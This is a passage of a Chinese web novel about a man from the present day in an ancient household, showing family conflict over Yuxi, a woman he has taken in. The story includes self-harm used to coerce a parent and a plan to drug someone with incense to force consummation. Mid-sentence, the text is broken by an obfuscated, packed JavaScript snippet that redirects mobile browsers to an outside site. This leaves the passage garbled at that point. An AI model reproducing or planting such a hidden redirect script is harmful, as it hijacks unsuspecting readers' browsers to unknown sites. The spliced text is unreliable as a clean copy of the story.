肖母脸色铁青,固执地喝道:“那可不行!你们给我把少爷抓起来,把这姑娘从哪里来送到哪里去!” 话音刚落,几个家丁便犹豫着上前,试图按住肖晨。 肖晨用力挣脱,大声喊道:“母亲,您不能这样!玉溪她善良无辜,何错之有?您为何如此容不下她!”他心急如焚,目光中满是愤怒与不解,直直地盯着肖母。 玉溪泪流满面,看着这混乱的场景,心如刀绞。她不想因为自己让肖晨与母亲彻底决裂,哭着对肖晨说:“公子,您别为难了,玉溪走便是。只要您能平安,玉溪去哪儿都可以。” 肖晨怎肯罢休,伸手紧紧拉住玉溪,对着肖母苦苦哀求:“母亲,求您了。玉溪出了这门,不知又要遭受多少苦难。您若实在容不下她,儿子愿与她一同离开,从此不再回肖家。” 肖母被气得浑身颤抖,手指着肖晨,语不成声:“你……你这个不孝子!为了一个外人,竟要抛弃肖家,抛弃你的妻子!” 李傲雪也慌了神,再次劝道:“婆婆,少爷心意已决,您若强行赶走玉姑娘,只怕少爷真会做出过激之事。不如暂且留下她,再从长计议。” 肖母怒目圆睁,对着家丁们吼道:“你们还愣着干嘛,还不快把少爷抓起来,把她给我赶走!” 肖晨毫不退缩,张开双臂将玉溪紧紧护在身后,大声喝道:“谁敢动我的朋友!”眼神中满是决然,仿佛下一秒就会与试图靠近的人拼命。 肖母被肖晨的反抗彻底激怒,她几步冲到一旁,抄起一根鸡毛掸子,对着肖晨和玉溪挥舞着,声嘶力竭地喊道:“你要是敢维护她,我就打死她!”那模样几近癫狂,完全没了平日里当家主母的威严。 玉溪吓得脸色惨白,身体止不住地颤抖,但仍紧紧拽着肖晨的衣角,不愿离去。肖晨则死死盯着肖母,眼眶通红,“母亲,您若伤她一分一毫,儿子定不原谅您!” 一旁的李傲雪吓得花容失色,赶忙冲上前去,试图阻拦肖母,“婆婆,使不得啊!您消消气,这样会出人命的!” 然而,肖母此时已丧失理智,根本听不进去劝,依旧挥舞着鸡毛掸子,口中念念有词:“反了反了,为了个外人竟敢这般忤逆我!” 家丁们面面相觑,谁也不敢贸然上前。他们既畏惧肖母的怒火,又忌惮肖晨那决然的眼神。 肖晨见母亲如此疯狂,心急如焚之下,毫不犹豫地抽出腰间短刀,在自己手臂上狠狠划了一道。顿时,鲜血汩汩流出,染红了他的衣袖。 他紧握着滴血的刀,声音颤抖却又无比坚定地说道:“母亲,您要是再敢侮辱我的朋友,我就只能伤害自己。玉溪于我有恩,是我在这世上重要之人,您若容不下她,我也绝无活下去的念头!” 肖母被这突如其来的一幕吓得愣住了,手中的鸡毛掸子“啪嗒”一声掉落地上。她瞪大双眼,看着儿子手臂上不断涌出的鲜血,嘴唇颤抖着,一时间竟说不出话来。 李傲雪更是吓得捂住嘴巴,眼眶泛红,焦急地喊道:“少爷,您这是何苦啊!”说着,她赶紧吩咐下人去拿医药箱。 玉溪见状,心疼得泪如雨下,伸手想要去查看肖晨的伤势,却又怕碰到伤口,只能哭着说:“公子,您这是做什么呀,玉溪不值得您这样……” 肖晨看着母亲,目光中满是悲戚与决绝:“母亲,我只求您能接纳玉溪,莫要再为难她。若您执意如此,我便只能以死相逼。” 肖母如梦初醒,泪水夺眶而出,她跌跌撞撞地走到肖晨面前,泣不成声:“晨儿,你这是要逼死为娘啊!好好好,我答应你,不再赶她走,也不再为难她,你快把刀放下啊!” 肖晨忍着手臂上传来的剧痛,转头温柔地看向玉溪,目光坚定无比:“玉溪,别怕,有我在,没有人可以为难你。”他的声音因失血而略显虚弱,却透着一股不容置疑的力量。 随后,他缓缓将目光移向肖母,脸上的神情瞬间变得冷峻,语气森然地说道:“母亲,我的朋友,谁也不可以侮辱。今日我已做出退让,您也答应不再为难玉溪。倘若日后再让我听到半句侮辱她的言语,就不是这般简单了。儿子不想与您闹得这般不愉快,但为了保护玉溪,我什么都做得出来。” 肖母看着浑身带血、眼神决绝的儿子,心中一阵后怕。刚刚那一幕太过惊险,她真怕儿子一时冲动做出不可挽回的事。此时的她,再也没了之前的强硬,只能含泪点头:“晨儿,你别再说了,母亲答应你便是。” 李傲雪在一旁看着这一切,心中五味杂陈。她既心疼丈夫受伤,又无奈于眼前复杂的局面。见气氛稍有缓和,她赶忙上前,轻声劝道:“少爷,您先包扎伤口吧,别再动气了。婆婆,大家都是一家人,往后和和气气的多好。” 肖晨这才缓缓放下手中的刀,任由下人扶着坐下,让赶来的郎中为自己处理伤口。玉溪则守在一旁,看着郎中为肖晨上药包扎,眼泪止不住地流。她满心自责,若不是因为自己,肖晨也不会与母亲闹到如此地步。 经过这场风波,肖府的气氛变得格外压抑。但肖晨知道,他必须为玉溪争取一席之地,往后的日子,他会更加小心地守护她,绝不让任何人再伤害她分毫…… 13. 你喜欢什么样的人 肖晨看着泪流不止的玉溪,强忍着伤口的疼痛,抬起未受伤的手,轻轻擦去她脸颊上的泪水,柔声说道:“玉溪,你不要哭了。往后你可以安心留在这里,府里活计多,你若想找点事做,也能打发时间。要是以后你有了更好的去处,想去别的地方生活,一定要告诉我,无论如何,我都会支持你。” 玉溪微微点头,哽咽着说:“公子,玉溪知道您是为我好。只是玉溪给您添了太多麻烦,还害得您与老夫人起了这么大的冲突……” 肖晨轻轻摇头,打断她的话:“玉溪,你别这么说。若不是你一路相伴,我不知会遭遇什么。你对我的情谊,我一直都记在心里。这是我该做的,与你无关。” 一旁处理完伤口的郎中收拾好药箱,叮嘱道:“少爷,伤口需悉心照料,切勿沾水,定时换药,以免感染。”肖晨应了一声,待郎中离开后,又看向玉溪,目光中满是关切:“你也别太忧心,往后在这府里,我会护你周全。若有人敢刁难你,你只管告诉我。” 玉溪感激地看着肖晨,“嗯,玉溪明白。公子您自己也要多注意身体,伤口千万别再裂开了。” 此时,李傲雪端着一碗热气腾腾的补汤走进来,笑着说道:“少爷,喝碗汤补补身子吧。玉姑娘,你也别太自责了,少爷既然决定留下你,往后大家就是一家人,和和气气的才好。” 肖晨接过汤碗,浅尝了一口,对李傲雪说道:“多谢夫人。”李傲雪看着肖晨和玉溪,心中虽仍有些不是滋味,但还是说道:“都是一家人,客气什么。玉姑娘初来乍到,若有什么不懂的,尽管问我便是。” 玉溪微微福身,轻声说道:“多谢少夫人,玉溪日后定会麻烦您。” 肖晨转头叫来身旁的丫鬟,认真吩咐道:“你去带玉溪姑娘换身干净衣服,她一路奔波,想必衣物都脏了。再准备些可口的饭菜和热茶,让她暖暖身子。另外,去收拾一间干净舒适的房子,要离我院子近些,给玉溪姑娘住下。” 丫鬟恭敬地应了一声“是”,便走到玉溪身旁,轻声说道:“玉姑娘,请随我来吧。”玉溪看向肖晨,眼中满是感激与不舍,“公子,您好好养伤,玉溪先随这位姑娘去了。”肖晨微微点头,“去吧,有什么事尽管吩咐下人。” 玉溪跟着丫鬟离开后,李傲雪在一旁轻声说道:“少爷对这位玉姑娘,还真是关怀备至。”话一出口,她便意识到不妥,微微低下头,掩饰自己的情绪。 肖晨听出了李傲雪话中的意味,无奈地叹了口气,说道:“夫人,玉溪于我有恩,我不过是略尽地主之谊。她一个女子,孤苦无依,我总不能眼睁睁看着她流落街头。还望夫人莫要多想,大家往后和平相处便是。” 李傲雪抬起头,挤出一丝笑容,“少爷放心,傲雪明白事理。只是这府里规矩多,就怕玉姑娘一时间适应不来。” 肖晨说道:“夫人若有闲暇,还望多指点玉溪一二,莫让她因不懂规矩而受委屈。”李傲雪点点头,“少爷吩咐,傲雪自会尽力。” 另一边,丫鬟带着玉溪来到一处厢房。房间布置得简洁雅致,床铺柔软整洁。丫鬟转身去取来一套崭新的衣物,说道:“玉姑娘,您先洗漱换装,饭菜和热茶稍后便来。”玉溪接过衣物,感激地说道:“多谢姑娘,劳烦你了。” 丫鬟笑着摇摇头,退了出去。玉溪看着手中的衣服,心中感慨万千。她深知自己在这肖府的日子不会平静,但只要能留在肖晨身边,她便觉得安心。稍作整理后,饭菜和热茶也送了进来。玉溪坐在桌前,吃着可口的饭菜,喝着温热的茶水,感受着这难得的温暖与安宁…… 李傲雪微微垂眸,犹豫片刻后,轻声问肖晨:“少爷,以后您打算就把她一直留在府里?难道……没有纳妾的想法吗?”她声音极轻,却透着难以掩饰的在意。 肖晨微微皱眉,认真说道:“我现在没有这样的想法。玉溪只是我的朋友,在我心中,她是在艰难时刻陪伴我的挚友,绝非其他。夫人,你怎么会有此问?” 说罢,肖晨似突然想起什么,疑惑道:“只是你怎么在这里?你那天不是说要离开肖府吗?” 李傲雪心中一酸,眼眶微红,抬起头说道:“少爷,那日我是一时气话。这里是我的家,我又能去哪呢?况且,我与少爷夫妻一场,怎能说走就走。只是看到少爷对玉姑娘这般上心,我心里难免……”她没有再说下去,只是轻轻咬着嘴唇。 肖晨心中有些愧疚,缓了缓语气说道:“夫人,是我疏忽了你的感受。但我与玉溪之间真的清清白白,只是纯粹的朋友情谊。你我夫妻刚成家,还望你能理解。往后,我也会多注意分寸。” 李傲雪轻轻点头,“少爷能这么说,傲雪便放心了。只是这府里人多嘴杂,玉姑娘的事,还望少爷能处理妥当,莫要让外人说三道四。” 肖晨应道:“夫人所言极是,我会安排好一切。也希望夫人能多担待,与玉溪和睦相处,莫要让我为难。”李傲雪微微颔首,“少爷放心,傲雪省得。” 肖晨神色有些疲惫与无奈,听到李傲雪的话后,缓缓说道:“你们能这么想自然最好。” 李傲雪脸颊微微泛红,眼中带着一丝期待,轻声问道:“少爷,我们刚成亲不久,如今你回来了,我们是否能完成圆房之事?” 肖晨听后,眉头皱得更紧,语气中透着烦躁与不耐:“小姐姐,怎么这么急?我现在实在没心思碰你。你是知道的,这一路经历诸多波折,我身心俱疲,况且又因玉溪的事和母亲闹得不愉快,哪还有这般心情。” 李傲雪听闻,心中一阵失落,眼眶瞬间红了,声音带着哭腔说道:“少爷,自我们成亲以来,聚少离多。如今好容易盼您回来,您却……难道在少爷心中,我就如此无足轻重吗?” 肖晨看着李傲雪落泪,心中有些不忍,但此刻他实在无法顺从李傲雪的心意,缓了缓语气说道:“夫人,你莫要误会。我并非觉得你无足轻重,只是当下事情繁多,我实在无法分心。待过些时日,一切安稳下来,我们再谈此事,可好?” 李傲雪咬着嘴唇,默默点了点头,转身用手帕轻轻拭去泪水,低声说道:“那……就依少爷所言吧。” 肖母迈着步子走进房来,一眼就瞧见李傲雪眼眶泛红,正默默垂泪,不由得眉头一皱,说道:“你哭什么,看到你男人回来了,不会摆着笑脸?成何体统!” 肖晨见母亲如此,心中烦闷更甚,忍不住说道:“您别说傲雪了,能不能消停点啊!整天吵闹,家宅不宁。这样下去,还不如分开住,落得个清净!” 肖母一听,脸色瞬间变了,又惊又怒,指着肖晨道:“你这说的是什么话!我辛辛苦苦操持这个家,为了你忙前忙后,如今你倒好,为了个外人,要和我分开住?” 肖晨长叹一口气,说道:“母亲,我并非为了外人。只是您看看,这家里如今成了什么样子,三天两头就闹得鸡飞狗跳。玉溪她并无过错,您却容不下她;傲雪她也委屈,我夹在中间左右为难。这样的日子,何时是个头?” 李傲雪见肖晨和肖母起了争执,心中担忧,赶忙劝道:“少爷,婆婆,你们都别再说了。都是傲雪不好,不该在少爷面前落泪,惹得大家不愉快。” 肖母冷哼一声,别过头去:“哼,我还不是为了你好,怕你被那青楼女子迷了心智,做出糊涂事,败坏了肖家名声。” 肖晨看着母亲,眼神恳切:“母亲,玉溪虽出身青楼,但她心地善良,和我只是纯粹的朋友关系。您就别再为难她了,也别再让傲雪受委屈,一家人好好过日子不行吗?” 肖母沉默片刻,缓缓说道:“罢了罢了,我也不想和你争执。只是这女子留在府里,你务必约束好她的行为,别让她做出有辱家门之事。” 肖晨点头道:“母亲放心,我自会处理好。” 一场风波看似暂时平息,可肖家众人心中的芥蒂,却不知何时才能真正消散,未来的日子依旧充满了未知与隐忧。 肖母转头看向李傲雪,脸上的神情稍缓,却仍带着几分严肃,叮嘱道:“傲雪啊,你可得好好伺候你男人。别忘了我之前交代你的事情,抓紧时间圆房。男人嘛,身边有个把女人陪着也不是大事,只要你把住正室的位置,其他的睁只眼闭只眼便罢了。咱们肖家可就指望你们开枝散叶呢。” 李傲雪脸色微微一白,心中满是苦涩,却只能强颜欢笑地应道:“儿媳明白,婆婆放心,傲雪会尽力的。” 肖晨听了母亲这话,心中一阵厌烦,皱眉说道:“母亲,您这说的是什么话。我与傲雪夫妻之间的事,自有我们自己的打算,您就别再插手了。而且我已说过,玉溪只是我的朋友,并无其他关系。您总这般言语,让傲雪心里怎么想?” 肖母不以为然地摆摆手,说道:“我这还不是为了你们好。你也老大不小了,肖家也该有后了。你看看哪家大宅门里,男人不是三妻四妾的,这有什么大惊小怪。” 肖晨无奈地叹口气,深知与母亲一时半会说不清楚,只能说道:“母亲,时代不同了,如今并非所有人家都如此。我只愿与傲雪好好过日子,至于其他,还请您别再提了。” 肖母见儿子态度坚决,也不好再说什么,只是又看了眼李傲雪,说道:“傲雪,你多上点心。”随后转身离开房间。 李傲雪看着肖晨,眼中满是委屈与无奈,轻声说道:“少爷,婆婆的意思,您也听到了。只是……只是您若实在不愿与我圆房,傲雪也不会强求,只是怕婆婆怪罪……” 肖晨看着李傲雪楚楚可怜的模样,心中泛起一丝愧疚,轻声安慰道:“傲雪,委屈你了。只是当下我实在没这心情,你且给我些时间。母亲那边,我会想办法与她沟通,你别太有压力。”李傲雪微微点头,泪水在眼眶里打转,却强忍着不让它落下。 肖晨一脸认真,望着李傲雪缓缓说道:“要不你等我两年,等我成年了再说。这两年时间,谁也说不准会发生什么,到时候或许你也能碰到合适的人。”他心中满是纠结,既想尊重李傲雪,又实在对当下圆房之事有心结。 李傲雪一听,顿时慌了神,眼眶通红,急忙伸手抓住肖晨的衣袖,带着哭腔说道:“少爷,不要再说这些话了。我不在乎你身边有谁,真的,我只求你不要抛弃我。要是您不要我了,我在这世上便没了依靠,只有死路一条啊。”她心中恐惧万分,生怕肖晨就此离她而去,那她在这深宅大院里将再无容身之地。 肖晨看着李傲雪如此悲切,心中一阵刺痛,忙说道:“傲雪,你别这么说,我怎会抛弃你。只是我如今实在心乱如麻,难以顾及此事。你放心,我会对你负责,只是希望你能理解我,给我点时间。” 李傲雪哭着点头,“少爷,傲雪理解您,傲雪等您,您别不要我就好。”说罢,她用手帕轻轻擦拭眼泪,可泪水还是止不住地流。 肖晨无奈地叹了口气,轻轻拍了拍李傲雪的肩膀,试图安抚她的情绪,“好了,别哭了。你先回房休息,我想一个人静一静。这家里的事,我会好好处理,不会让你受委屈。” 李傲雪满眼泪水,执拗地说道:“少爷在哪里,我就在哪里。我是你的妻子,哪有自己回房间的道理。您这样,是不是真的很讨厌我呀?”她的目光中满是委屈与不解,死死地盯着肖晨,仿佛要从他眼中寻出答案。 肖晨一脸无奈,他实在拿李傲雪这副模样毫无办法。看着她哭得梨花带雨,心中又不忍太过强硬,只能轻声说道:“傲雪,我没有讨厌你,只是此刻我想一个人静静,理清这些乱糟糟的事。你在这儿,我静不下心。” 李傲雪咬着嘴唇,犹豫片刻后,依旧不肯妥协:“少爷,您有什么烦心事,说与傲雪听便是,傲雪愿意与您一同分担。您独自承受,让傲雪心疼。”她紧紧拽着肖晨的衣角,生怕一松手,肖晨就会消失不见。 肖晨长叹一口气,深知李傲雪的性子,一时半会儿是劝不走她了。他只得坐下来,揉了揉太阳穴,缓缓说道:“傲雪,你也看到了,母亲和玉溪之间矛盾颇深,我夹在中间左右为难。再者,家里这些事,让我心烦意乱,实在没心思考虑其他。” 李傲雪听了,心中微微一酸,但还是说道:“少爷,关于玉姑娘,只要她守好本分,傲雪不会为难她。婆婆那边,傲雪也会找机会劝劝,您别太忧心了。” 肖晨抬眸看着李傲雪,眼中闪过一丝诧异与感动,没想到李傲雪能说出这番话。他轻轻握住李傲雪的手,说道:“傲雪,难为你能这么想,是我之前对你关心不够。只是,这事情没那么简单,还需从长计议。” 李傲雪微微点头,靠在肖晨肩头,轻声说道:“少爷,不管怎样,傲雪都会一直陪着您。咱们夫妻二人,共同面对便是。 肖晨看着如此执着又深情的李傲雪,心中一阵触动,不由自主地轻轻抱住了她,柔声道:“傲雪,你不用这样,我知道你心意。” 李傲雪感受到肖晨主动的拥抱,心中满是欢喜,脸上泪痕未干,却已泛起红晕。她顺势更贴近肖晨,将头埋在他怀里,轻声说道:“少爷,只要您明白傲雪的心就好。” 而此时,玉溪放心不下肖晨的伤势,想着过来看看。她轻轻推开房门,刚一迈进门口,便看到肖晨与李傲雪二人这般亲密的画面。她顿时愣在原地,脸上的关切瞬间凝固,眼中闪过一丝慌乱与失落。 片刻后,玉溪回过神来,意识到自己贸然闯入有些唐突,赶忙垂下眼眸,嗫嚅道:“对……对不起,我不知你们……我这就走。”说罢,她急忙转身,匆匆离开,生怕再多停留一秒会打扰到他们。 肖晨听到声响,抬眼看到玉溪离去的背影,心中“咯噔”一下。他想叫住玉溪解释,可又觉得此时李傲雪在怀,场面尴尬,一时竟不知如何是好。 李傲雪察觉到肖晨的异样,顺着他的目光看去,见玉溪已离开。她心中虽有些得意,但也担心此举会让肖晨不快,于是轻声问道:“少爷,是不是玉姑娘来了?要不……我去把她叫回来?” 肖晨摇摇头,神情有些复杂,说道:“算了,她应该只是来看看我伤势。等会儿我去解释吧,别让她误会了。” 房间里气氛再度变得微妙起来,刚刚缓和的氛围,因玉溪这一遭,又添了几分难以言说的隐忧。 肖晨见玉溪离去,刚泛起追出去解释的念头,可转瞬又觉有些不对。他暗自思忖,自己与玉溪不过是纯粹的朋友情谊,有什么可解释的呢?想到这儿,心里那股着急劲儿顿时消散了不少。 李傲雪一直留意着肖晨的神情变化,见他没有立刻起身去追玉溪的意思,心中暗暗松了口气。她抬起头,眼神中满是期待,小心翼翼地问道:“少爷,我能晚上留在这里陪你吗?” 肖晨有些疲惫,实在不想再为这些事费神,犹豫了一下,还是说道:“好吧。” 李傲雪闻言,脸上立刻绽放出欣喜的笑容,她紧紧依偎在肖晨身旁,说道:“少爷,您放心,傲雪会一直陪着您,不会让您心烦。” 肖晨轻轻应了一声,思绪却有些飘忽。他深知,虽然自己对玉溪只是朋友之情,但刚刚那一幕,只怕还是会让玉溪心里不好受。而李傲雪,对自己一片深情,自己也不能辜负。只是这肖府之中,母亲、李傲雪与玉溪之间的关系错综复杂,日后该如何妥善处理,着实让他头疼不已。 夜晚,明月高悬。肖府的这间房里,李傲雪躺在肖晨身旁,脸上洋溢着幸福。而肖晨望着床顶,久久未能入眠,在这寂静的夜里,他的心中却如翻江倒海一般,思索着未来该如何面对这纷繁的一切。 玉溪独自一人回到房间,刚刚看到肖晨与李傲雪亲密相依的画面,始终在她脑海中挥之不去,心就像被一只无形的手紧紧揪住,疼得厉害。 她呆呆地坐在床边,望着桌上摇曳的烛火,泪水在眼眶里打转。她不得不承认,肖晨和李傲雪站在一起,的确般配,一个是俊朗不凡的少爷,一个是温婉端庄的少夫人,门当户对。 反观自己,出身低微,不过是曾流落风尘之人。虽与肖晨有着患难与共的情谊,可在世俗眼光里,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993174|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎能与李傲雪相比。她满心苦涩,自嘲地笑了笑,觉得自己方才的失落实在有些多余。人家本就是名正言顺的夫妻,自己又算什么呢? 玉溪轻轻抹去眼角的泪,暗暗告诉自己,肖晨能有安稳的生活便好。自己在这府中,能有一处容身之地,已是肖晨的恩赐。往后,便只做好朋友该做的,不去逾越那不该有的界限,也不再让自己徒增烦恼。可即便这般安慰自己,心中那丝丝缕缕的疼痛,却依旧如影随形,伴着摇曳的烛火,在这寂静的夜里,萦绕不去。 李傲雪慵懒地躺在肖晨怀里,脸上带着一抹娇羞,轻声问道:“少爷,你喜欢什么样的人呀?” 肖晨微微一怔,思绪飘远,缓缓说道:“我喜欢好看的,能懂我,爱我的人。可……只是我不能爱你和任何女子。”他的声音里透着一丝无奈与疲惫。 李傲雪听了这话,心中一紧,抬起头,难以置信地看着肖晨,眼中满是受伤与疑惑:“少爷,为何不能爱我?我自与您成亲以来,事事以您为先,满心满眼都是您,难道还不够懂您,不够爱您吗?” 肖晨避开李傲雪的目光,心中有些不忍,却还是说道:“傲雪,你很好,对我也的确全心全意。只是,我心中总有种莫名的压抑,或许是这深宅大院的规矩,或许是种种纷扰之事,让我觉得自己难以全身心地去爱一个人。我并非有意冷落你,只是当下实在无法给予你想要的爱。” 李傲雪的泪水在眼眶里打转,声音带着哭腔说道:“少爷,难道就没有办法改变吗?我们是夫妻,本应相互扶持,相濡以沫。难道您就忍心让傲雪一直这样,守着一份没有爱的婚姻吗?” 肖晨轻轻叹了口气,将李傲雪重新揽入怀中,说道:“傲雪,我也不想如此。只是我现在心乱如麻,给不了你确切的答案。你且容我一段时间,让我好好理清这些思绪,好吗?” 李傲雪在肖晨怀里轻轻点头,泪水却忍不住滑落,浸湿了肖晨的衣衫。在这寂静的夜里,两人各怀心事,相拥而卧,却又仿佛隔着一道无形的墙,不知何时才能真正走进对方心里。 肖母瞧着儿子和儿媳这别扭的状态,心里愈发着急,暗自觉得不能再这样下去了。于是,她暗中吩咐下人去准备迷香,盘算着要促成儿子儿媳圆房,好让肖家早日开枝散叶。 第二天,肖母差人把李傲雪叫到跟前。李傲雪规规矩矩地行了礼,肖母上下打量她一番,单刀直入地问道:“你们昨天还没有圆房吧?” 李傲雪一听,脸颊瞬间涨得通红,头垂得更低了,嗫嚅着说:“回婆婆,还……还没有。” 肖母眉头一皱,脸上露出不悦之色,说道:“这都成婚多久了,怎么还没圆房?晨儿他到底是怎么想的!” 李傲雪心中委屈,却又不敢抱怨,轻声说道:“婆婆,少爷他……他心里似乎有诸多烦忧,一直没能……” 肖母摆了摆手,打断她的话,说道:“我不管他有什么烦忧,这圆房之事不能再拖了。今晚,你按我说的做。”说着,肖母从一旁拿出准备好的迷香递给李傲雪,压低声音,将计划细细说了一遍。 李傲雪听后,面露难色,犹豫道:“婆婆,这样……这样做好吗?少爷他要是知道了……” 肖母瞪了她一眼,说道:“你照做便是!他若知晓,我自会解释。你若想在这肖家站稳脚跟,给肖家诞下子嗣,就别犹豫。” 李傲雪咬了咬嘴唇,思索片刻后,终是缓缓接过迷香,低声应道:“儿媳……儿媳明白了。” 她心中五味杂陈,既担忧肖晨知晓后的反应,又不敢违背肖母的意思,只能怀着忐忑的心情,等待夜幕降临,不知今晚这一番安排,又会给肖家带来怎样的波澜。 肖晨感觉伤口的疼痛已减轻不少,便起身打算到外面透透气。刚在院子里走了几步,就瞧见迎面走来的玉溪。他脸上浮现出温和的笑容,主动问道:“玉溪,在这里住得还习惯吗?” 玉溪微微一愣,停下脚步,抬眸对上肖晨关切的目光。想起昨日看到他与李傲雪亲密的场景,心里虽仍有些刺痛,但还是礼貌地回以微笑,轻声说道:“多谢公子关心,我住得挺好的,府里上下对我都很照顾。” 肖晨点了点头,目光在玉溪身上打量了一番,见她神色似乎有些憔悴,心中不禁涌起一丝担忧,说道:“若有任何不习惯或者缺少什么,你尽管告诉我,千万别客气。你我之间,无需这般生分。” 玉溪心中一暖,却又下意识地与肖晨拉开了些距离,说道:“公子厚爱,玉溪铭记于心。只是玉溪深知自己身份,不敢有过多奢求,能在这府中有一处安身之所,已感激不尽。” 肖晨察觉到玉溪态度的变化,心中有些纳闷,但也不好多问,只是说道:“在我心里,身份从来不是问题。你对我有恩,又陪我经历诸多,往后莫要再提这些。” 玉溪微微颔首,轻声应道:“是,公子。”此时,一阵微风吹过,气氛有些许尴尬与微妙。两人相对无言,似乎都在刻意回避着什么,唯有风中摇曳的树叶,沙沙作响,打破这片刻的沉默。 肖晨看着玉溪略显拘谨的模样,心中不禁有些心疼,笑着说道:“那就好,你以后真不用这么拘谨。你要是再对我这么生分,我可会不习惯的。咱们是好朋友,相处就该放开一些。” 玉溪微微抬起头,目光与肖晨交汇,看到他眼中的真诚,心中一阵感动,可又想到他与李傲雪的关系,那感动中又夹杂着一丝苦涩。她轻轻咬了咬嘴唇,说道:“公子,您的心意玉溪明白。只是……只是您如今已成家,玉溪怕自己的言行举止,会给您和少夫人带来不必要的麻烦。” 肖晨微微皱眉,说道:“你不必有此顾虑。傲雪她……她也是通情达理之人,不会无端怪罪于你。而且,我们之间纯粹是朋友情谊,光明磊落,无需避讳什么。” 玉溪犹豫了一下,最终还是点了点头,说道:“既然公子这么说,那玉溪便听公子的。只是若真有什么不妥之处,还望公子能及时提醒玉溪。” 肖晨露出欣慰的笑容,说道:“这才对嘛。你呀,别总是这么小心翼翼的。这府里虽有些规矩,但你也别太放在心上。平日里若觉得无聊,多出来走走,或者找傲雪说说话,她也能解解你烦闷。” 玉溪心中苦笑,与李傲雪说话解闷?昨日那一幕还历历在目,她又怎会不知李傲雪对自己的态度。但她还是乖巧地应道:“是,玉溪记住了,多谢公子关怀。”此时,阳光透过树叶的缝隙洒下,斑驳地落在两人身上,只是看似融洽的氛围下,玉溪的心中却仍藏着丝丝缕缕难以言说的复杂情绪。 肖晨下意识地伸出手,轻轻搂住玉溪的肩膀,那动作自然得仿佛回到了现代与闺蜜相处的时光,满脸笑意地说道:“你以后可千万别再这么客气啦,再这么见外,咱俩可就显得生分了。” 玉溪被这突如其来的亲密举动弄得有些不知所措,身子瞬间一僵,脸上闪过一丝慌乱。但她又不好直接挣脱,毕竟肖晨并无恶意,只是习惯使然。她微微侧头,试图拉开些距离,轻声说道:“公子,男女有别,您这样……不太妥当。” 肖晨这才如梦初醒,意识到自己的行为在这古代颇为不妥,赶忙松开手,脸上浮现出尴尬的神色,说道:“实在对不住,我一时没注意,习惯了。你别往心里去。” 玉溪微微颔首,脸色微红,说道:“无妨,公子也是无心之失。只是这府中耳目众多,还望公子日后能注意些,以免传出什么闲言碎语。” 肖晨忙不迭地点头,说道:“是我考虑不周了。你放心以后,不会再有这样的事。只是我真心把你当好朋友,一高兴就忘了分寸。” 玉溪心中轻叹,她又何尝不明白肖晨的心意,只是这深宅大院,规矩森严,许多事由不得他们随性而为。她勉强挤出一丝笑容,说道:“公子的心意玉溪明白,只是身处这府中,有些规矩还是要遵守的。” 两人之间的气氛因为这小小的插曲,变得有些微妙而尴尬,仿佛一层无形的薄膜横亘其中,不知何时才能真正消散。 14. 圆房 肖晨伸手轻轻捏了捏玉溪的脸,带着亲昵的口吻说道:“我还是更习惯你和我自由自在相处的样子,你现在这样谨小慎微,弄得我也浑身不自在。放心吧,在这儿没人敢说什么的。” 玉溪惊得往后退了一步,脸颊瞬间涨得通红,又羞又窘。她万没想到肖晨竟会做出如此逾矩之举,急忙伸手捂住脸,眼中满是慌乱与委屈,说道:“公子,您怎能如此!男女授受不亲,这要是被人瞧见,叫我以后如何自处?” 肖晨也意识到自己行为太过莽撞,心中懊悔不已,忙不迭地道歉:“实在抱歉,玉溪,我……我真不是有意冒犯。我在现代习惯了和朋友这样相处,一时没忍住。你别生气,是我考虑欠妥。” 玉溪眼眶泛红,声音带着哭腔说道:“公子,这不是现代,这里是规矩森严的肖府。我本就身份敏感,您这样的举动,若是传出去,定会招来诸多闲言碎语,到时候我……”她越说越委屈,泪水在眼眶里打转。 肖晨满脸愧疚,忙安慰道:“玉溪,你别担心,不会有事的。方才周围也没人,不会传出去。我保证以后一定注意言行,不会再让你陷入这般尴尬境地。你消消气,原谅我这一次,好不好?”他心急如焚,生怕玉溪因此事心生芥蒂,与自己疏远。 玉溪深吸一口气,努力平复情绪,说道:“公子,我相信您并无恶意。只是往后还望您能自重,也为我多考虑几分。这深宅大院,步步惊心,稍有不慎,便是万劫不复。” 肖晨连忙点头,一脸诚恳地说道:“我记住了,你放心。以后我定会注意,不会再让类似的事情发生。” 玉溪神色有些不自然,微微欠身说道:“公子要是没事,我就先退下了。” 肖晨心中一阵失落,看着玉溪离去的背影,无奈地应道:“那你去忙吧。” 待玉溪走后,肖晨独自一人站在原地,只觉得这深宅大院压抑得让人喘不过气来。本以为在这古代能交到玉溪这样知心的好朋友,可如今因为自己的鲁莽,似乎让两人之间产生了隔阂。 他满心烦闷,突然很想出去透透气,可刚走到门口,就被守在那儿的阿成拦住。阿成一脸恭敬却又坚决地说道:“少爷,不能让您出去。您得呆在府里好好养伤。” 肖晨眉头紧皱,一脸无奈:“阿成,我在这府里快憋闷坏了,就出去一小会儿。” 阿成依旧不为所动,说道:“少爷,这是夫人的吩咐,小的实在不敢违抗。您要是伤还没好就出去,万一出了事,小的担待不起。” 肖晨知道阿成是奉了母亲的命令,也不好强求,想了想说道:“阿成,那你去给我叫些杂耍班子来,陪我解解闷儿。” 阿成赶忙应道:“是,少爷,小的这就去办。”说罢,便匆匆离去。 肖晨望着阿成远去的方向,心中暗暗叹气。此刻的他,只能寄希望于杂耍表演能驱散一些心中的压抑,可那与玉溪之间的微妙气氛,却始终如阴霾一般,笼罩在他心头,挥之不去。 没过多久,阿成就带着一个杂耍班子来到了府中庭院。杂耍艺人纷纷施展浑身解数,有人头顶水缸稳稳踱步,有人耍着飞刀精准命中靶心,还有人指挥着小猴子做出各种滑稽动作,一时间热闹非凡。 肖晨坐在一旁,起初还被精彩的表演吸引,暂时忘却了心中的烦闷。然而,看着看着,他的思绪又不由自主地飘向了玉溪。他不禁反思自己今日的行为,实在是太过冒失,完全没考虑到玉溪在这古代的处境。他担心玉溪会因此对他心怀不满,甚至从此刻意疏远他。 